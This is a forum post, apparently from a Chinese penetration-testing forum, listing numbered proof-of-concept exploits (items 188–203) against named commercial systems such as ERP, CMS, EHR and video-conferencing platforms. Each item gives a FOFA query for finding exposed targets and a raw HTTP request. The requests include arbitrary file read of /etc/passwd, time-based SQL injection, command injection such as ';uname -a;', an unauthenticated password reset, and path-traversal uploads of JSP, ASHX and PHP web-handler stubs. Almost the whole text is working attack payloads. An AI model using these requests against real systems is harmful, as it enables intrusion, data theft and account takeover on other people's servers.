$ Q1 ]' c$ t8 l8 V8 M7 X' P( n# p
' k1 A5 F- R3 n: d7 f
1 h4 j5 z- \7 z3 b188. 叁体-佳会视频会议 attachment 任意文件读取
+ N* s9 q4 L% H1 Uversion <= 3.9.7
' k" p" g$ @1 @( TFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( T# ~- K% f3 F1 o. sAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
- C) q! Z6 [" C& i
. ?" Q1 M. r$ A3 l7 ?- v; k
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
. A( _3 W# y7 i. D) ]8 b  ?/ ]GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
" P: @, {2 }" z% P! UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


' J7 y3 ^0 {7 _9 Y! R4 V5 `/ \3 S% A190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
) Z5 }8 i' {& p( P2 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
6 [" A, p1 y+ \+ `& v. ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

. }- O9 W! K! c9 gpoi=file:///etc/passwd
7 u! D- l9 U1 t4 N% D$ C

; U3 c6 U8 [# e  [0 {% ?191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
& Y6 A7 Z$ f2 `) J* l5 T3 Q6 ~FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 z" {9 S! r0 M/ T2 qContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

8 l0 j7 [* g6 m2 U
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
. f: ?$ G9 I; v* p  ~5 N- S. eFOFA：title="用户登录_富通天下外贸ERP"
/ M, Y9 G( _+ u& L& R. ?1 d- nPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
0 I$ P( r2 H# J7 Q+ q% wHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
" W$ i6 L" h4 iContent-Type: application/x-www-form-urlencoded
/ D7 C" t2 }; {! p1 ]$ R1 H

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
- S8 W- p$ j. l/ ]/ wpublic class AverageHandler : IHttpHandler
% o: B( V' s- J; \$ i( P8 z) y{
public bool IsReusable
6 A- E2 `% h/ r- j5 P" y3 h{ get { return true; } }
$ \( ]1 K. m4 n# |9 Q) M8 S, i6 Wpublic void ProcessRequest(HttpContext ctx)
{
( g& d( b* H7 y8 ?% E6 _ctx.Response.Write("test");
) o( W, n) U; R+ T* F}
, k7 y' |/ n$ w}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
* z8 [5 c5 r! H/ M; iGET /master/ajaxActions/getTokenAction.php HTTP/1.1
3 w/ w  y* G$ K! s2 C* |! R. K7 XHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
3 P" ?* F9 H  GUser-Agent: Mozilla/5.0
+ l" D8 G8 M  R

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
* i  o$ P# E; Y/ k+ M* CAccept-Encoding: gzip, deflate
Accept: */*
) z0 A! I+ L$ t1 Z& @& b4 ]. A5 mConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

/ ^- p6 o: X, y( M3 lparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
- T* \1 r9 j: u" q: s

% T  J+ T/ p! b! T  J6 H  b9 vGET /master/img/config HTTP/1.1
( a' B" [+ W) q$ z- KHost:
0 q+ {: g5 d9 F' ]User-Agent: Mozilla/5.0

: n* d) G$ i# a+ o* T
8 Y. ]' @$ h- h194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
- d2 g/ e7 }  n6 ?
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* c/ d8 X- j' m* I- D- ~Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 E- _9 f6 j( Z$ v( @4 y, y' i------WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 l# ^8 t3 f% A' {9 {/ q
5 F  q; W; G* e+ GContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
  r# W' A* n: X  IContent-Type: text/plain
  t0 ~2 d4 r9 U/ t9 K) _2 r" D<% out.println("hello");%>
' ?4 j8 u  _0 |: Y$ R  n3 h------WebKitFormBoundaryKNt0t4vBe8cX9rZk
" m$ S6 Q7 G9 u' f2 ], i4 NContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
$ @. i& X- |6 y4 w+ e% X5 p
1 m# t: i% J) x( e. U# Q4 B
4 q4 P1 k: E& W: J; `0 r# \195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
  R! Q% r8 @* b$ n" f# DFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
5 Y9 X- Y5 w) \1 a! }Pragma: no-cache
& X* j+ @1 F% S7 G6 w5 i. {& ]Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, N, R: e1 b/ Z: GConnection: close
Content-Type: application/x-www-form-urlencoded
( g# _$ k* {5 rContent-Length: 68

) f( {! F4 L) H- l2 W8 X, p5 V{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
, z* {: K7 u3 V9 A/ D" q3 n4 w
+ Q/ G# F9 p- E! }: l" m
196. 河南省风速科技统一认证平台密码重置
- e! A+ V' U5 |9 R* S2 dFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
, n3 q! m7 }7 M& A' a' v' X# ]5 }, [POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
; }' q7 c, z+ T0 }0 T+ }( v1 i) @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ c# i! W( _: n9 {$ V, l0 p- BContent-Type: application/json;charset=UTF-8
5 C: \& T. {% R7 ]1 k6 y! p. M% DX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
+ G- e6 O" M- k* n2 }$ M1 i
$ k7 u5 w( E7 \# `{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
* K- [7 _, d3 C* E" f, G: NFOFA：app="浙大恩特客户资源管理系统"
& B4 g% U* u5 M: s; {GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
" O# \! N7 h* z1 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
" p  ~, b" M: GAccept-Encoding: gzip, deflate
0 L6 o+ w# I0 E) X+ \2 o1 y  C! VConnection: close

. z8 b$ F$ R) D% y
6 {8 I" r! z8 M9 l6 f7 t/ o
2 b+ P/ [. i/ T  k198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
! `" k0 p" \; z* lGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
1 d+ v' ^- T9 x$ B) R+ m% R6 tCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
* {# q6 k" M2 ^- m/ O, mAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

; N) m5 h9 t9 Q/ c$ V- |+ f
# h! ?3 D& h" p199. cockpit系统assetsmanager_upload接口 文件上传
% Q$ |# p: @# x, m+ g
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
; M6 Y9 y* B) ]
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
" j5 |- \5 O- X& D1 A
2.使用刚才上一步获取到的jwt获取cookie：

POST /auth/check HTTP/1.1
. `( s" @% d, p9 Q* TContent-Type: application/json
8 x. ]  B/ e& s4 m  c
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
9 Z4 r( A3 F) _$ W) ~& h) Y# U
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
6 m+ x2 B5 ?, F+ k/ A* x! K* `Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

/ w2 m9 I* |; |. g/ ?" u+ V-----------------------------36D28FBc36bd6feE7Fb3
" K1 U# q2 k9 y: H" ~3 mContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


; {: R, v3 z6 s, S/storage/uploads/tttt.php
0 S8 |4 U& Y; ^: j  e$ a( v/ ~" W2 \3 h
: B3 i3 s# |+ e2 \+ U6 ?200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
6 R' ]$ G5 _) [" dCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
( e) r6 u0 [$ W% WUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, R5 \9 t' D# C0 @; M* ZAccept-Language: zh-CN,zh;q=0.9

- w5 \4 m+ k3 O
201. 方正全媒体新闻采编系统 binary SQL注入
. d$ `" |% P1 [! a: y2 \. @- SFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
/ I+ E! T/ O# c, e8 h9 T9 S  uPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ {6 }( J' C$ e& s" j* v- c; e" XAccept-Encoding: gzip, deflate
3 a" c) i1 O- RAccept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

/ e2 n; H( N( j! A* }: ?$ G
202. 微擎系统 AccountEdit任意文件上传
. a# c9 t+ M% p$ K& ^FOFA：body="/Widgets/WidgetCollection/"
8 B0 m+ U; }) Q4 _! R' N( V获取__VIEWSTATE和__EVENTVALIDATION值
6 T7 l# Q" o: F, N5 s) UGET /User/AccountEdit.aspx HTTP/1.1
# i& Q: o; ]: _  Q5 ZHost: 滑板人之家
/ ~/ _4 _: \/ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
8 l1 R& w% Y# O$ b  T; A/ pContent-Length: 0

) v, G: @1 `6 l0 o6 j
' A+ H. H  N) f1 R% s: J替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
0 }: ^# s& t8 W) U+ Z% E& m5 w/ MContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

! U! X& H5 z8 Z5 ?, D& O: }-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

+ y  R( b+ `" n+ ?__VIEWSTATE
( `( U1 S. x9 O% {% @-----------------------------786435874t38587593865736587346567358735687
* I4 i' l3 A* q% D8 V# fContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
3 F; k" R5 U+ Y- [' _! g6 O
: J7 U2 o" Z! \+ f* b1 Z  H' @5 uHello World!
3 G* W* b% T) K/ i-----------------------------786435874t38587593865736587346567358735687
- I$ r9 m" U. r" l3 R, w; B7 QContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
( R& c9 |7 |7 s: Q6 K% L: W0 T-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
( |( [  A6 T# |9 a

6 ^) D! V5 W% p$ z. ^0 @-----------------------------786435874t38587593865736587346567358735687
" S8 J2 {& k2 K3 r! IContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
7 ~( D9 n) E% i7 L" c
2 A+ x& Q$ E9 h8 O1 O0 H! M
-----------------------------786435874t38587593865736587346567358735687--


+ k7 U( m; V. e# ]/_data/Uploads/1123.txt
5 ?3 \* M/ }! n
203. 红海云EHR PtFjk 文件上传
. L4 O4 D2 W% c( Y9 ZFOFA：body="RedseaPlatform"
* @( L5 I( q1 X% b- j2 G5 z. b7 z2 MPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
3 h9 _3 G; x3 r5 g2 O3 A. bHost: x.x.x.x
Accept-Encoding: gzip
$ }+ Y, [- [! F# n) Y6 @0 V" d& VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" H( Q  c, |4 [+ ?2 R3 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
0 D% |) a! I4 a3 N/ _Content-Length: 210

7 i9 g" Z5 r3 d! }------WebKitFormBoundaryt7WbDl1tXogoZys4
; z; _* e% q! b& ?* e, ?+ [2 vContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
2 S! C# A0 s- ?0 M6 }  D/ P! p) mContent-Type:image/jpeg
6 N3 H  m7 y6 m" }1 J5 w$ m
* t( d2 y* t9 c# S/ f- s<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

* [- t* J& e4 w  t0 K/ y# i8 I, H
- C) g* I" L* u: R

% g  n: D' o5 S

9 Z- w9 Z+ F2 ?* z  u

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2